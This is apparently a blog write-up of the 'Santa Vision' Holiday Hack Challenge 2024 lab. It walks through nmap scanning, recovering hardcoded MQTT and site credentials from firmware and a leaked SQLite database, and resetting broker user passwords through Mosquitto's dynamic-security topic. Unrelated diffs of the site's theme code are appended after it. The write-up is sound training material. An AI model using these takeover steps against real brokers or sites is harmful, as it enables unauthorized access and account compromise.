{{< figure class="small inline" src="/img/writeups/holiday-hack-challenge/2024/act3/santa-vision/about-screen.png" title="About screen" >}}
If we click on Time Travel, text starts appearing in the terminal, and, after a while, an IP is shown at the top. If it doesn't show, reload the page and it should be there.
The Objectives page on HHC also shows some questions we need to answer for the medals:
1. What username logs you into the SantaVision portal?
2. Once logged on, authenticate further without using Wombley's or Alabaster's accounts to see the `northpolefeeds` on the monitors. What username worked here?
3. Using the information available to you in the SantaVision platform, subscribe to the `frostbitfeed` MQTT topic. Are there any other feeds available? What is the code name for the elves' secret operation?
4. There are too many admins. Demote Wombley and Alabaster with a single MQTT message to correct the `northpolefeeds` feed. What type of contraption do you see Santa on?
## Solving
### Santa Vision A
#### Silver
Let's start by finding out that is happening on the IP we got. We can use a tool called [nmap](https://en.wikipedia.org/wiki/Nmap) for this. We could run it without any parameters, but add `-sC` and `-sV` will add some additional information about the services running on the server. We should also add `-p-` to make sure we scan all ports, not just the common ones.
```sh
nmap -sC -sV 34.136.4.185 -p-
```
```txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-01-04 01:09 CET
Nmap scan report for 185.4.136.34.bc.googleusercontent.com (34.136.4.185)
Host is up (0.11s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 f8:97:0d:4e:97:e0:8d:4c:bd:34:c6:bf:15:d1:23:f5 (ECDSA)
|_ 256 56:9e:99:d9:50:3d:f4:97:32:cf:0e:2e:3b:4d:b8:30 (ED25519)
1883/tcp open mqtt
|_mqtt-subscribe: Connection rejected: Not Authorized
8000/tcp open http Gunicorn
|_http-server-header: gunicorn
|_http-title: Santa Vision
9001/tcp open tor-orport?
| fingerprint-strings:
| JavaRMI, Radmin, SSLSessionReq, SSLv23SessionReq, TLSSessionReq, mongodb, tarantool:
| HTTP/1.0 403 Forbidden
| content-type: text/html
| content-length: 173
|_ <html><head><meta charset=utf-8 http-equiv="Content-Language" content="en"/><link rel="stylesheet" type="text/css" href="/error.css"/></head><body><h1>403</h1></body></html>
1 service unrecognized despite returning data.
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 396.97 seconds
```
Nmap shows there are 4 ports open; 22 (ssh), 1883 (mqtt), 8000 (http) and 9001. The last one is a weird one, there is some kind of webserver running, but it's not the normal kind.
Let's continue by navigating to the python webserver we found at port 8000. Upon opening it, we're greeted by a login page. There is also a comment at the bottom; "(topic 'sitestatus' available.)". Maybe this hints at an [MQTT](https://en.wikipedia.org/wiki/MQTT) topic.
{{< figure class="small inline" src="/img/writeups/holiday-hack-challenge/2024/act3/santa-vision/login-page.png" title="Login page" >}}
The page is **very** slow, but once it loads we can also take a look at the html behind it. In there, we find an interesting comment.
```html {linenos=true,linenostart=72}
<b>©2024 Santavision Elventech Co., Ltd. Snow Rights Reserved.<br>(<i>topic 'sitestatus'</i> available.)</b>
</div> <!-- mqtt: elfanon:elfanon -->
```
These credentials allow us to log in to the website, and is thus also the answer for A - silver.
#### Gold
Let's talk to the elf again first:
> Great work! You've taken the first step—nicely done. You're on the silver path and off to a strong start!
>
> (Gold hint) Stay curious. Sometimes, the smallest details—often overlooked—hold the keys to the kingdom. Pay close attention to what’s hidden in the source.
>
> You've gained access, but there’s still much more to uncover. Patience and persistence will guide you—silver or gold, you're making progress!
>
> Now that you're in, it’s time to go deeper. We need access to the northpolefeeds. This won't work if you use Wombley or Alabaster’s credentials—find the right user to log in.
We also received a new hint, but it's for B.
{{< collapsible-block title="Like a Good Header on Your HTTP? (B)" isCollapsed="true" class="tight" >}}
Be on the lookout for strange HTTP headers...
{{< /collapsible-block >}}
Back to the task at hand. We were able to log in to the portal using the credentials, so maybe we can also connect to the MQTT server directly to look at the `sitestatus` topic we saw before.
In oder to connect to the server, we can use [MQTTX](https://mqttx.app/). MQTTX is a GUI for visualizing messages on the topics. Once we've installed MQTTX, we can set up the connection, and try the credentials. They work! We can now also subscribe to `sitestatus` topic.
{{< figure class="small inline" src="/img/writeups/holiday-hack-challenge/2024/act3/santa-vision/mqttx-sitestatus.png" title="sitestatus topic" >}}
In there, we almost immediately see an interesting message. There is a path to a file starting with `/static/`, a prefix often used on websites. Let's try download the file in the browser. The url should look like this: [`http://34.136.4.185:8000/static/sv-application-2024-SuperTopSecret-9265193/applicationDefault.bin`](/files/writeups/holiday-hack-challenge/2024/act3/santa-vision/applicationDefault.bin).
Once downloaded, we can use the [`file`](<https://en.wikipedia.org/wiki/File_(command)>) command to find out what kind of file it is.
```sh
file applicationDefault.bin
```
```txt
applicationDefault.bin: Linux jffs2 filesystem data little endian
```
It seems like it's some linux filesystem I've never heard of. An online search, or a look at the hints, will direct us to [jefferson](https://github.com/onekey-sec/jefferson/), a tool to extract JFFS2 files. Once installed, we can use it as follows.
```sh
jefferson applicationDefault.bin -d out
```
In it, we find a Python Flask application. It could be of the portal we just logged in to. So let's explore the code. In it we find some useful things. On of the first things can be found in `app/src/core/views.py`. There, we some, what looks like admin, credentials for MQTT.
```py {linenos=true,linenostart=159}
#Publish Messages to Broker to Create Player Broker Clients
mqttPublish.multiple(CreatePlayerClients,hostname="localhost",port=1883,auth={'username':"SantaBrokerAdmin", 'password':"8r0k3R4d1mp455wD"})
```
Unfortunately, the credentials don't work for the portal, so we'll have to explore further. In `app/src/accounts/views.py`, we find the login logic of the application. It looks like a database is being used for the users. At the bottom of the file, we also find an endpoint to download this database. The sqlite file is not part of the filesystem we extracted, so let's grab it from the server; [`http://34.136.4.185:8000/sv2024DB-Santa/SantasTopSecretDB-2024-Z.sqlite`](/files/writeups/holiday-hack-challenge/2024/act3/santa-vision/SantasTopSecretDB-2024-Z.sqlite).
We can open the file in many ways, but I like [DB Browser for SQLite](https://sqlitebrowser.org/). In the file we find the `users` table, with the following data.
| id | username | password | created_on | is_admin |
| --- | -------------- | ---------------------- | -------------------------- | -------- |
| 1 | santaSiteAdmin | S4n+4sr3411yC00Lp455wd | 2024-01-23 06:05:29.466071 | 1 |
We can now enter this username for the gold medal. Upon completion, the elf will say the following:
> Impressive! You dug deeper and uncovered something hidden—very strategic work. You're well on your way to gold!
### Santa Vision B
#### Silver
For B, we'll have to look at the `northpolefeeds`. We haven't found a user for the monitors yet, so let's see if we can connect to the MQTT server with the "SantaBrokerAdmin" user we found. Since this is an admin, we can also subscribe to the wildcard and [security topics](https://github.com/eclipse-mosquitto/mosquitto/blob/master/plugins/dynamic-security/README.md).
{{< figure class="small inline" src="/img/writeups/holiday-hack-challenge/2024/act3/santa-vision/mqttx-all-topics.png" title="MQTTX all topics" >}}
The security topic allows us to list all users on the system, by sending a json message to `$CONTROL/dynamic-security/v1`. The message is as follows.
```json
{ "commands": [{ "command": "listClients" }] }
```
```json
{
"responses": [
{
"command": "listClients",
"data": {
"totalCount": 11,
"clients": [
"AlabasterS",
"AlabasterS-viewer",
"SantaBrokerAdmin",
"WomblyC",
"WomblyC-viewer",
"elfanon",
"elfmonitor",
"elfmonitor-viewer",
"santaMonitor",
"santashelper2024",
"santashelper2024-viewer"
]
}
}
]
}
```
Here we found a few users. We found Alabaster and Wombly, which are the ones we're not supposed to use, and a few other new ones. It looks like only account with `-viewer` are being used to turn on the monitors, as elfanon didn't work for it.
Anyway, "elfmonitor" looks like a monitor account, so let's submit that name for the silver medal.
#### Gold
Let's talk to the elf again first:
> Excellent progress! You've moved us closer to understanding this network—keep it up on the silver path!
>
> (Gold hint) Look beyond the surface. Headers and subtle changes might just open new doors. Pay close attention to everything as you log in.
>
> You're doing fantastic! The northpolefeeds are now in your sights. Silver or gold, you're pushing forward with great momentum!
>
> We're getting closer. Now, we need to dig into the frostbitfeed. It’s time to figure out if any other feeds are lurking beneath the surface—and uncover the elves' secret operation.
We also received a new hint, but it's for C.
{{< collapsible-block title="Looking Deeper (C)" isCollapsed="true" class="tight" >}}
Discovering the credentials will show you the answer, but will you see it?
{{< /collapsible-block >}}
Solving gold is really easy because of the way we got silver. In the previous output, we also found the "santashelper2024" user, and this is the one needed for gold. We highly likely took an unintended path here, and I'm curious about what the intended way is.
I later found out there is another way to get the user for gold (though I'm still clueless for silver). If we take a look at the network tab of the DevTools, and log in with the santaSiteAdmin user, we see two requests are made; one to `/login`, and one to `/auth`. If we take a good look at the response headers of the `/auth` request, we find some interesting ones here.
```txt
brkrpswd: playerSantaHelperPass9977518499
brkrtopic: northpolefeeds
brkruser: santashelper2024
```
The brkrpswd value seems to change every time you log in, but the user will stay the same.
Upon completion, the elf will say the following:
> That’s the kind of attention to detail we need! You've uncovered a hidden path—solid gold effort!
### Santa Vision C
For C, the quest is to find the code name for the elves' operation.
#### Silver
Since we already have MQTT open with the wildcard topic, we can see every message in every topic. If we observe for a while, we'll eventually find this message.
```txt
Sixteen elves launched operation: Idemcerybu
```
#### Gold
Let's talk to the elf again first:
> Wonderful job! You've uncovered a critical piece of the puzzle—well on track with the silver approach!
>
> (Gold hint) Sometimes the answers are in the quiet moments. Pay attention to every feed and signal—you may find what you're looking for hidden deep in the streams.
>
> You're almost there! The operation’s code is unlocked, but the final challenge is waiting. Silver or gold, you're close to victory!
>
> It’s time to take back control of the Santa Broadcast Network. There really shouldn't be multiple administrators—send the right message, and Santa’s true spirit will return. What’s Santa test-driving this season?
This one took me quite some time to figure out. The gold hint from the elf didn't make any sense to me and really threw me off. In the end it's a really easy one, do you see it already?
The name "Idemcerybu" looks weird, it feels like the characters were rotated. We can use a [CyberChef recipe](<https://gchq.github.io/CyberChef/#recipe=ROT13_Brute_Force(true,true,false,100,0,true,'')&input=SWRlbWNlcnlidQ>) to take a look at all [ROT13](https://en.wikipedia.org/wiki/ROT13) variations. Here we find that if we rotated all characters by 10 places, the outcome is "Snowmobile".
Upon completion, the elf will say the following:
> Brilliant work! You cracked the secret operation’s code on the gold path. Analytical thinking like that will lead to success!
### Santa Vision D
On to the last one. This time we need to demote the other admins, and look at the `northpolefeeds` to find the contraption Santa is on.
#### Silver
Let's start by viewing the feeds using the feeds using the "santashelper2024" user we got from B - gold.
{{< figure class="small inline" src="/img/writeups/holiday-hack-challenge/2024/act3/santa-vision/default-feeds.png" title="northpolefeeds" >}}
We see some stuff here, but no santa. The quest said something about demoting admins, so let's find how to do that. From looking at the wildcard topic again, we can see the message `singleAdminMode=false` popping up quite a lot in the `santafeed`.
I found this challenge a bit weird, and it took a lot of time. You have to be very specific about it.
If we try setting `singleAdminMode` to `true` by sending `singleAdminMode=true` to the `santafeed` topic, nothing will happen. It turns out we have to do this from the "elfmonitor" user. Since we don't have the credentials for it, we can set it using the security topic (`$CONTROL/dynamic-security/v1`).
```json
{
"commands": [
{
"command": "modifyClient",
"username": "elfmonitor-viewer",
"password": "password"
}
]
}
```
Then, we can either use MQTTX to log in as that user and send it to the `santafeed`, or we can use the portal. If you choose to use the portal, make use to use the "elfanon" user to log in, otherwise, you won't be able to send messages. Once logged it, a form shows up to public a message.
{{< figure class="small inline" src="/img/writeups/holiday-hack-challenge/2024/act3/santa-vision/silver-feeds.png" title="Silver northpolefeeds" >}}
In the feed we can see Santa on a pogo stick.
Upon completion, the elf will say the following:
> Excellent! You've successfully removed the propaganda and restored the true spirit of the season. A solid silver finish—well done!
>
> (Gold hint) Think about the kind of ride Santa would take in a world filled with innovation. His vehicle of choice might surprise you—pay attention to the futuristic details.
>
> Mission accomplished! The airwaves are restored, and the message is one of unity and teamwork. Whether silver or gold, you've done an incredible job!
#### Gold
For gold, the process is the same as for silver, only this time we have to send it from the "santashelper2024" user. This time, we also can't send it from the portal, as the user is not allowed. We can do it in MQTTX though, so in there, we can send `singleAdminMode=true` to the `santafeed` topic.
{{< figure class="small inline" src="/img/writeups/holiday-hack-challenge/2024/act3/santa-vision/mqttx-send-gold.png" title="MQTTX send singleAdminMode=true" >}}
{{< figure class="small inline" src="/img/writeups/holiday-hack-challenge/2024/act3/santa-vision/gold-feeds.png" title="Gold northpolefeeds" >}}
Here we can see Santa on a hovercraft.
Upon completion, the elf will say the following:
> Phenomenal! You've figured it out—Santa’s on a new ride. You've earned your gold badge with this one!
## Important extra
For a later challenge, it is important to find some information in this challenge.
In the `frostbitfeed` topic, there are two message you will need.
```txt
Error msg: Unauthorized access attempt. /api/v1/frostbitadmin/bot/<botuuid>/deactivate, authHeader: X-API-Key, status: Invalid Key, alert: Warning, recipient: Wombley
```
```txt
Let's Encrypt cert for api.frostbit.app verified. at path /etc/nginx/certs/api.frostbit.app.key
```
+1 -55
View File
@@ -1,14 +1,3 @@
const throttle = (func, timeFrame) => {
let lastTime = 0;
return () => {
let now = new Date();
if (now - lastTime >= timeFrame) {
func();
lastTime = now;
}
};
};
window.addEventListener("load", () => {
// Enlarged floating figures
for (let figure of document.getElementsByTagName("figure")) {
@@ -62,50 +51,6 @@ window.addEventListener("load", () => {
}
}
// set active toc heading
const toc = document.getElementById("toc");
const tocNav = toc.getElementsByTagName("nav")[0];
const headingsForToc = [
...document.getElementsByTagName("article"),
].flatMap((article) =>
[...article.querySelectorAll("h1, h2, h3, h4")]
.filter((heading) => heading.offsetParent.tagName === "MAIN")
.reverse()
);
const onTocScroll = () => {
for (const heading of headingsForToc) {
if (window.scrollY + window.innerHeight / 3 > heading.offsetTop) {
const headingAnchor = heading.getElementsByTagName("a")[0];
for (const tocAnchor of toc.getElementsByTagName("a")) {
tocAnchor.classList.remove("current-toc");
if (tocAnchor.href !== headingAnchor.href) continue;
tocAnchor.classList.add("current-toc");
// Scroll toc element into view
const tocNavRect = tocNav.getBoundingClientRect();
const tocAnchorRect = tocAnchor.getBoundingClientRect();
const offset =
tocAnchorRect.top -
tocNavRect.top -
tocNav.clientHeight / 2;
const direction = offset / Math.abs(offset);
const limit = (tocNav.clientHeight / 2) * 0.5;
if (Math.abs(offset) > limit)
tocNav.scrollTop += offset - direction * limit;
}
return;
}
}
};
window.addEventListener("scroll", throttle(onTocScroll, 50));
onTocScroll();
// Code copy button
for (let codeblock of document.querySelectorAll(".highlight pre")) {
if (codeblock.querySelector(".lnt")) continue; // skip line numbers
@@ -125,5 +70,6 @@ window.addEventListener("load", () => {
button.classList.add("current-code");
});
console.log(codeblock);
}
});
@@ -31,29 +31,8 @@
margin: 1em;
> .highlight {
margin: 1em -1em;
border-radius: 0;
&:first-child {
margin-top: -1em;
border-top-left-radius: 0;
border-top-right-radius: 0;
}
&:last-child {
margin-bottom: -1em;
}
}
> table {
margin: 1em -1em;
border-radius: 0;
&:only-child {
background: inherit;
padding: 0 10px;
}
.highlight {
margin: 0 -1em;
&:first-child {
margin-top: -1em;
@@ -62,12 +41,6 @@
&:last-child {
margin-bottom: -1em;
}
td {
word-break: normal;
overflow-wrap: normal;
white-space: pre;
}
}
}
}
+16 -166
View File
@@ -84,16 +84,6 @@ h4 {
font-size: 1.125rem;
}
h5 {
font-size: 1.075rem;
margin: 1em 0;
}
h6 {
font-size: 1rem;
margin: 1em 0;
}
@media #{$media-size-phone} {
h1 {
font-size: 2rem;
@@ -110,14 +100,6 @@ h6 {
h4 {
font-size: 1.125rem;
}
h5 {
font-size: 1.075rem;
}
h6 {
font-size: 1rem;
}
}
a {
@@ -423,7 +405,7 @@ svg {
}
.hidden {
display: none !important;
display: none;
}
.hide-on-phone {
@@ -484,20 +466,21 @@ svg {
table {
width: 100%;
padding: 10px;
padding: 10px 10px 10px 20px;
border-radius: 8px;
font-size: 0.95rem;
overflow: auto;
background: $light-background-secondary;
th {
padding: 8px 8px;
padding: 8px 4px;
word-break: normal;
overflow-wrap: normal;
}
td {
padding: 6px 8px;
padding: 6px 4px;
border-top: 1px solid $light-color-secondary;
}
@@ -545,21 +528,13 @@ table {
position: relative;
text-decoration: none;
@mixin link-image($color) {
$color: "rgb(" + red($color) + "," + green($color) + "," +
blue($color) + ")";
--link-image: url('data:image/svg+xml;utf8,<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-link"><path d="M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0 0-7.07-7.07l-1.72 1.71"></path><path d="M14 11a5 5 0 0 0-7.54-.54l-3 3a5 5 0 0 0 7.07 7.07l1.71-1.71"></path></svg>');
--check-image: url('data:image/svg+xml;utf8,<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="green" stroke-width="4" stroke-linecap="round" stroke-linejoin="round" class="feather feather-check"><polyline points="20 6 9 17 4 12"></polyline></svg>');
--background-image: url('data:image/svg+xml;utf8,<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="#{$color}" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-link"><path d="M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0 0-7.07-7.07l-1.72 1.71"></path><path d="M14 11a5 5 0 0 0-7.54-.54l-3 3a5 5 0 0 0 7.07 7.07l1.71-1.71"></path></svg>');
}
@include link-image($light-color);
.dark-theme & {
@include link-image($dark-color);
}
--background-image: var(--link-image);
&.current-heading {
--background-image: url('data:image/svg+xml;utf8,<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="rgb(0, 128, 0)" stroke-width="4" stroke-linecap="round" stroke-linejoin="round" class="feather feather-check"><polyline points="20 6 9 17 4 12"></polyline></svg>');
--background-image: var(--check-image);
}
&:hover {
@@ -600,18 +575,20 @@ table {
.highlight {
position: relative;
border-radius: 8px;
margin: 0.95em 0;
overflow: hidden;
&:has(table) {
margin: 0.95em 0;
border-radius: 8px;
overflow: hidden;
}
pre {
padding-left: 0;
padding-right: 0;
margin: 0;
.line {
padding-left: 20px;
padding-right: 40px;
padding-right: 10px;
}
}
@@ -715,130 +692,3 @@ table {
}
}
}
#toc {
&.desktop-only {
display: none;
}
.toc-title {
display: flex;
align-items: center;
font-weight: bold;
font-size: 1.625rem;
line-height: 1.3;
margin: 0.83em 0;
}
ul,
ol {
li::marker {
content: "- ";
}
}
@media (min-width: 1840px) {
display: block !important;
position: absolute;
top: 100vh;
height: calc(100% - 100vh - 380px);
.toc-content {
position: sticky;
top: 10vh;
max-height: 70vh;
margin-left: calc(-300px - 100px);
display: flex !important;
flex-direction: column;
width: 300px;
::-webkit-scrollbar {
width: 6px;
height: 6px;
background: darken($light-background, 10%);
border-radius: 8px;
}
::-webkit-scrollbar-thumb {
background: darken($light-background, 25%);
border-radius: 8px;
&:hover {
background: darken($light-background, 40%);
}
}
.dark-theme & {
::-webkit-scrollbar {
background: lighten($dark-background, 10%);
}
::-webkit-scrollbar-thumb {
background: lighten($dark-background, 25%);
&:hover {
background: lighten($dark-background, 40%);
}
}
}
.toc-title {
font-size: 1.375rem;
min-height: calc(1.625rem * 1.3);
margin: 0;
}
nav {
overflow-y: auto;
margin-top: 1em;
}
a {
display: block;
text-decoration: none;
padding: 5px;
border-radius: 8px;
&:hover {
background: darken($light-background, 10%);
.dark-theme & {
background: lighten($dark-background, 10%);
}
}
&.current-toc {
background: darken($light-background, 10%);
.dark-theme & {
background: lighten($dark-background, 10%);
}
}
&::before {
content: "- ";
}
}
ul,
ol {
margin: 0;
padding: 0;
li::marker {
content: "";
}
li a {
padding-left: 20px;
}
li li a {
padding-left: 40px;
}
li li li a {
padding-left: 60px;
}
}
}
}
}
@@ -109,3 +109,98 @@
margin: 0 5px;
}
}
.pagination {
margin-top: 20px;
&__title {
display: flex;
text-align: center;
position: relative;
margin: 20px 0;
&-h {
text-align: center;
margin: 0 auto;
padding: 5px 10px;
background: $light-background;
color: $light-color-secondary;
font-size: 0.8rem;
text-transform: uppercase;
text-decoration: none;
letter-spacing: 0.1em;
z-index: 1;
.dark-theme & {
background: $dark-background;
color: $dark-color-secondary;
}
}
hr {
position: absolute;
left: 0;
right: 0;
width: 100%;
margin-top: 15px;
z-index: 0;
}
}
&__buttons {
display: flex;
align-items: center;
justify-content: center;
a {
text-decoration: none;
font-weight: bold;
}
}
}
.button {
position: relative;
display: inline-flex;
align-items: center;
justify-content: center;
background: $light-background-secondary;
font-size: 1rem;
font-weight: 600;
border-radius: 8px;
max-width: 40%;
padding: 0;
cursor: pointer;
appearance: none;
.dark-theme & {
background: $dark-background-secondary;
}
+ .button {
margin-left: 10px;
}
a {
display: flex;
padding: 8px 16px;
text-decoration: none;
text-overflow: ellipsis;
white-space: nowrap;
overflow: hidden;
}
&__text {
text-overflow: ellipsis;
white-space: nowrap;
overflow: hidden;
}
&.next .button__icon {
margin-left: 8px;
}
&.previous .button__icon {
margin-right: 8px;
}
}
+206 -233
View File
@@ -1,249 +1,222 @@
.post {
width: 100%;
max-width: 1000px;
text-align: left;
padding: 20px;
margin: 20px auto;
position: relative;
width: 100%;
max-width: 1000px;
text-align: left;
padding: 20px;
margin: 20px auto;
@media #{$media-size-tablet} {
max-width: 600px;
}
@media #{$media-size-medium} {
max-width: 800px;
@media #{$media-size-tablet} {
max-width: 600px;
}
@media #{$media-size-medium} {
max-width: 800px;
}
&-date {
&:after {
content: "—";
}
}
&-date {
&:after {
content: "—";
}
}
&-title {
font-size: 2.625rem;
margin: 0 0 20px;
&-title {
font-size: 2.625rem;
margin: 0 0 20px;
@media #{$media-size-phone} {
font-size: 2rem;
}
a {
text-decoration: none;
}
}
&-subtitle {
font-size: 1.9rem;
margin: -15px 0 20px;
@media #{$media-size-phone} {
font-size: 1.6rem;
}
}
&-breadcrumbs {
font-size: 1.15rem;
margin: 10px 0 5px;
@media #{$media-size-phone} {
font-size: 0.9rem;
}
}
&-description {
font-size: 1.15rem;
@media #{$media-size-phone} {
font-size: 1.075rem;
}
}
&-tags {
display: block;
margin-bottom: 20px;
font-size: 1rem;
opacity: 0.5;
a {
text-decoration: none;
}
}
&-content {
margin-top: 30px;
}
&-cover {
border-radius: 8px;
margin: 30px -5.2%;
width: 110%;
max-width: 110%;
text-decoration: none;
@media #{$media-size-medium} {
max-width: 860px;
}
@media #{$media-size-tablet} {
margin: 20px 0;
width: 100% !important;
}
img {
width: 100%;
}
}
&-info {
margin-top: 30px;
font-size: 0.8rem;
line-height: normal;
@include dimmed;
p {
margin: 0.8em 0;
}
a:hover {
border-bottom: 1px solid white;
}
svg {
margin-right: 0.8em;
}
.tag {
margin-right: 0.5em;
display: inline-block;
&::before {
content: "#";
}
}
}
.flag {
border-radius: 50%;
margin: 0 5px;
}
}
.pagination {
margin-top: 20px;
&__title {
display: flex;
text-align: center;
position: relative;
margin: 20px 0;
&-h {
text-align: center;
margin: 0 auto;
padding: 5px 10px;
background: $light-background;
color: $light-color-secondary;
font-size: 0.8rem;
text-transform: uppercase;
text-decoration: none;
letter-spacing: 0.1em;
z-index: 1;
.dark-theme & {
background: $dark-background;
color: $dark-color-secondary;
}
}
hr {
position: absolute;
left: 0;
right: 0;
width: 100%;
margin-top: 15px;
z-index: 0;
}
}
&__buttons {
display: flex;
align-items: center;
justify-content: center;
ul, ol {
list-style-type: none;
margin: 0;
display: flex;
align-items: center;
justify-content: center;
margin: 0 10px;
}
.button a {
text-decoration: none;
font-weight: bold;
overflow: visible;
}
}
}
.button {
position: relative;
display: inline-flex;
align-items: center;
justify-content: center;
background: $light-background-secondary;
font-size: 1rem;
font-weight: 600;
border-radius: 8px;
max-width: 40%;
padding: 0;
cursor: pointer;
appearance: none;
&:disabled, &[disabled], &.disabled {
pointer-events: none;
}
&.active {
background: darken($light-background-secondary, 20%);
}
.dark-theme & {
background: $dark-background-secondary;
&.active {
background: lighten($dark-background-secondary, 22%);
}
}
+ .button {
margin-left: 10px;
}
> * {
display: flex;
padding: 8px 16px;
text-decoration: none;
text-overflow: ellipsis;
white-space: nowrap;
overflow: hidden;
@media #{$media-size-phone} {
font-size: 2rem;
}
a {
text-decoration: none;
text-decoration: none;
}
}
&-subtitle {
font-size: 1.9rem;
margin: -15px 0 20px;
@media #{$media-size-phone} {
font-size: 1.6rem;
}
}
&-breadcrumbs {
font-size: 1.15rem;
margin: 10px 0 5px;
@media #{$media-size-phone} {
font-size: 0.9rem;
}
}
&-description {
font-size: 1.15rem;
@media #{$media-size-phone} {
font-size: 1.075rem;
}
}
&-tags {
display: block;
margin-bottom: 20px;
font-size: 1rem;
opacity: 0.5;
a {
text-decoration: none;
}
}
&-content {
margin-top: 30px;
}
&-cover {
border-radius: 8px;
margin: 30px -5.20%;
width: 110%;
max-width: 110%;
text-decoration: none;
@media #{$media-size-medium} {
max-width: 860px;
}
&__text {
text-overflow: ellipsis;
white-space: nowrap;
overflow: hidden;
@media #{$media-size-tablet} {
margin: 20px 0;
width: 100% !important;
}
&.next .button__icon {
margin-left: 8px;
img {
width: 100%;
}
}
&-info {
margin-top: 30px;
font-size: 0.8rem;
line-height: normal;
@include dimmed;
p {
margin: 0.8em 0;
}
&.previous .button__icon {
margin-right: 8px;
a:hover {
border-bottom: 1px solid white;
}
svg {
margin-right: 0.8em;
}
.tag {
margin-right: 0.5em;
display: inline-block;
&::before {
content: "#";
}
}
}
.flag {
border-radius: 50%;
margin: 0 5px;
}
}
.pagination {
margin-top: 20px;
&__title {
display: flex;
text-align: center;
position: relative;
margin: 20px 0;
&-h {
text-align: center;
margin: 0 auto;
padding: 5px 10px;
background: $light-background;
color: $light-color-secondary;
font-size: 0.8rem;
text-transform: uppercase;
text-decoration: none;
letter-spacing: 0.1em;
z-index: 1;
.dark-theme & {
background: $dark-background;
color: $dark-color-secondary;
}
}
hr {
position: absolute;
left: 0;
right: 0;
width: 100%;
margin-top: 15px;
z-index: 0;
}
}
&__buttons {
display: flex;
align-items: center;
justify-content: center;
a {
text-decoration: none;
font-weight: bold;
}
}
}
.button {
position: relative;
display: inline-flex;
align-items: center;
justify-content: center;
background: $light-background-secondary;
font-size: 1rem;
font-weight: 600;
border-radius: 8px;
max-width: 40%;
padding: 0;
cursor: pointer;
appearance: none;
.dark-theme & {
background: $dark-background-secondary;
}
+ .button {
margin-left: 10px;
}
a {
display: flex;
padding: 8px 16px;
text-decoration: none;
text-overflow: ellipsis;
white-space: nowrap;
overflow: hidden;
}
&__text {
text-overflow: ellipsis;
white-space: nowrap;
overflow: hidden;
}
&.next .button__icon {
margin-left: 8px;
}
&.previous .button__icon {
margin-right: 8px;
}
}
@@ -10,6 +10,10 @@
<div class="content content-list">{{ .Content }}</div>
{{- end }}
{{- if .Paginator.HasPrev }}
{{ partial "pagination.html" . }}
{{- end }}
<div class="posts-list">
{{ range $paginator.Pages }}
<div class="post">
@@ -38,13 +38,13 @@
{{- partial "image.html" (dict "path" .Params.Cover "alt" (.Title | plainify) "class" "post-cover") }}
{{- end }}
{{- if not (eq .Params.toc false) }}
<aside id="toc" class="{{- if not .Params.toc }}desktop-only{{- end }}">
<div class="toc-content">
<div class="toc-title">{{ i18n "tableOfContents" }}</div>
{{ .TableOfContents }}
</div>
{{- if .Params.toc }}
<hr />
<aside id="toc">
<div class="toc-title">{{ i18n "tableOfContents" }}</div>
{{ .TableOfContents }}
</aside>
<hr />
{{- end }}
<div class="post-content">
@@ -16,7 +16,6 @@
</a>
</span>
</div>
{{- if .Site.Params.wallets }}
<div class="footer__content__section donations">
{{- with .Site.Params.wallets }}
{{- range . }}
@@ -25,7 +24,6 @@
{{- end }}
{{- end }}
</div>
{{- end }}
</div>
</div>
</footer>
@@ -1,46 +1,20 @@
<div class="pagination">
<div class="pagination__buttons">
{{- if .Paginator.HasPrev }}
{{ if .Paginator.HasPrev }}
<span class="button previous">
<a href="{{ .Paginator.Prev.URL }}">
<span class="button__icon">←</span>
<span class="button__text">Previous</span>
<span class="button__text">Newer posts</span>
</a>
</span>
{{- end }}
{{- with .Paginator }}
{{- $currentPage := .PageNumber }}
{{- $totalPages := .TotalPages }}
{{- if gt $totalPages 1 }}
<ol>
{{- range .Pagers }}
{{- $isFirst := eq .PageNumber 1 }}
{{- $isLast := eq .PageNumber $totalPages }}
{{- $inWindow := and (ge .PageNumber (sub $currentPage 2)) (le .PageNumber (add $currentPage 2)) }}
{{- $showPrevEllipsis := and (gt $currentPage 4) (eq .PageNumber 2) }}
{{- $showNextEllipsis := and (lt $currentPage (sub $totalPages 3)) (eq .PageNumber (sub $totalPages 1)) }}
{{- if or $showPrevEllipsis $showNextEllipsis }}
<li class="button disabled">
<span class="button__text">&hellip;</span>
</li>
{{- else if or $isFirst $isLast $inWindow }}
<li class="button {{- if eq $currentPage .PageNumber }} disabled active{{ end }}">
<a href="{{ .URL }}">
<span class="button__text">{{ .PageNumber }}</span>
</a>
</li>
{{- end }}
{{- end }}
</ol>
{{- end }}
{{- end }}
{{- if .Paginator.HasNext }}
{{ end }}
{{ if .Paginator.HasNext }}
<span class="button next">
<a href="{{ .Paginator.Next.URL }}">
<span class="button__text">Next</span>
<span class="button__text">Older posts</span>
<span class="button__icon">→</span>
</a>
</span>
{{- end }}
{{ end }}
</div>
</div>
@@ -10,6 +10,10 @@
<div class="content content-list">{{ .Content }}</div>
{{- end }}
{{- if .Paginator.HasPrev }}
{{ partial "pagination.html" . }}
{{- end }}
<div class="posts-list masonry">
{{ range $paginator.Pages }}
<div class="post">